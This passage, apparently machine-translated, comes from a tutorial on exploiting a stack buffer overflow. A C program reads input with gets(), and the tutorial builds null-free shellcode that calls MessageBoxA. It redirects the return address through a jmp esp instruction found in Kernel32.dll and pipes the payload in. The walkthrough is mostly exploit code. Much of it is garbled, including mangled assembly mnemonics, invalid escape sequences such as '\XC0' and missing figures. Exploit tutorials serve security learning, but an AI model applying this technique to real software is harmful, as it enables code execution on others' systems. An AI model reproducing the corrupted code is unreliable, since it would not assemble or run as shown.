In section 1.2 we have written a vulnerable program that can control its EIP through the input, this section, we want to let Example_2 run our MessageBox. And look at example_2:
/*****************************************************************************///example_2: Demo Stack Overflow#include <stdio.h>void Get_print () {Char str[11];gets (str);printf ("%s\n", str);}int Main () {get_print ();return 0;}/*****************************************************************************/
The problem is that the Get function, to run the MessageBox, we can enter the 1.3 section of the Shellcode by the get no length limit, but the actual situation is not as simple as example_4, there are a lot of problems to solve.
(1) NULL character
The opcode contains a lot of empty characters, and there is nothing wrong with example_4 because it is not actually a string, but an instruction. But now, we can only enter this instruction through the GET function, so it must be read in as a string. Therefore, it cannot contain null characters. This problem is easy to solve, as long as the instruction with the null character is replaced with an equivalent instruction. For example, you can change push 0 to: XOR eax,eax; PUSH EAX.
The modified program is as follows:
/*****************************************************************************/Example_6 Replace the program that produces the null character after the instruction int main () {__asm {PushEbpmovEBP, esp xor eax, EAX//"LD" movAx0x646c Pushfa[Push 0x726f576f//"Owor" Push 0x6c6c6548//"Hell" Push 0x00000031//"1" Push 0x5f656c70//"Ple_" Push 0x6d617865//"Exam" movAx0x6c6c//"LL" Pushfa[Push 0x642e3233//"32.D" Push 0x72657375//"User"Lea EBX, [ebp- -HPushEbxmovEbx0x7c801d7b PagerEBX//LoadLibraryA xor eax, eaxPushEAX Lea EBX, [ebp- -HPushEBX Lea EBX, [ebp-0ChPushEbxPushfa[movEbx0x77d507eaMessageBoxAPagerEbxPushfa[movEbx0x7c81cafaExitProcessPagerEBX}}/*****************************************************************************/
/*****************************************************************************///example_7 non-empty characters Shellcodechar OpCode[]= "\x55\x8B\xec\x33\XC0\x66\XB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F ""\x68\x65\x78\x61\x6D\x66\XB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xdc\x53\XBB\x7B ""\x1D\x80\x7C\xff\xd3\x33\XC0\x50\x8D\x5D\xe8\x53\x8D\x5D\XF4\x53\x50\XBB\xea\x07\xd5\x77\xff\xd3 ""\x50\XBB\XFA\xca\x81\x7C\xff\xd3 "; int main (){int* ret; ret = (int*)&RET + 2; (*ret) = (int) opcode;}/*****************************************************************************/
Here is a thing-instruction prefix, in the opcode will be separated by a colon, but the colon itself is not part of the operation code, extract the opcode do not add a colon. As follows:
Figure 27
(2) characters that cannot be entered
It is easy to enter if it is just a common character of ABCD, but the opcode contains some characters that cannot be entered. For example, the opcode in example_7 is printed like this:
Figure 28
This problem is easy to solve, and the cmd command line has a pipeline command, so you can enter it through the pipe command to example_2. Use a program to print the Shellcode, and then enter the pipeline into the example_2.
(3) How much is the EIP modified?
This is also the most important issue, because our aim is to control the shellcode of the EIP execution input. How much does the EIP change to? The first address is, of course, modified to shellcode. But unlike Example_4, we explicitly specify the address of Shellcode, and now we don't know. This is solved by several methods, we first use the most stupid way, that is, through immunity debugger find this address.
Open example_2 with Immunity debugger, this time we enter 16 A and 4 B, and a bunch of C,
In the Get_print function, the next breakpoint at the pop EBP:
Figure 29
To view the contents of the stack:
Figure 30
BBBB is the return address (EIP), so the Shellcode start address is 0x0012ff1c.
For the black example_2, you need to modify the Shellcode, to fill the first 16 a (normal input + fill EBP), and then fill 0x0012ff1c, and then the original shellcode. Did you notice the problem? Yes, the EIP's fill address 0x0012ff1c, contains the null character, this time, we can no longer replace it, and the address must be four bytes. Therefore, this method is not feasible. It seems that you can't steal a lazy.
We need to take a path. So, what else is associated with this address on the stack? The closest thing to the stack is the ebp,esp of the two registers, which, as you probably already know. Yes, when the function ret instruction returns, after taking away the saved EIP, the location that the ESP points to is the initial address of the shellcode.
Figure 31
So, to get the program to execute Shellcode, just one sentence of jmp ESP is required. So, we should populate the EIP with the address of the JMP ESP directive, so that after the EIP returns, execute a jmp ESP and jump to shellcode to start execution. However, there is no jmp esp in example_2, so we need to find a directive in other modules. In immunity debugger, right-click Search For--all commands in all modules, type JMP ESP to find the following results:
Figure 32
In MSVCR90D.dll and Kernel32.dll found one, we use the Kernel32.dll, note its address: 0x7c86467b. This address is available and does not contain null characters.
The following is the output Shellcode program, which will be piped shellcode input to example_2:
/*****************************************************************************///example_5 Print Shellcode#include <stdio.h>char opcode[]= "Aaaaaaaaaaaaaaaa\x7B\x46\x86\x7c ""\x55\x8B\xec\x33\XC0\x66\XB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F ""\x68\x65\x78\x61\x6D\x66\XB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xdc\x53\XBB\x7B ""\x1D\x80\x7C\xff\xd3\x33\XC0\x50\x8D\x5D\xe8\x53\x8D\x5D\XF4\x53\x50\XBB\xea\x07\xd5\x77\xff\xd3 ""\x50\XBB\XFA\xca\x81\x7C\xff\xd3 "; int main (){printf ("%s ", opcode);}/*****************************************************************************/
Here is the time to witness a miracle, and at the command line, enter the following:
Figure 33
Pop up the MessageBox, we succeeded in black out the vulnerable example_2.
Stack Overflow note 1.4 Black out example_2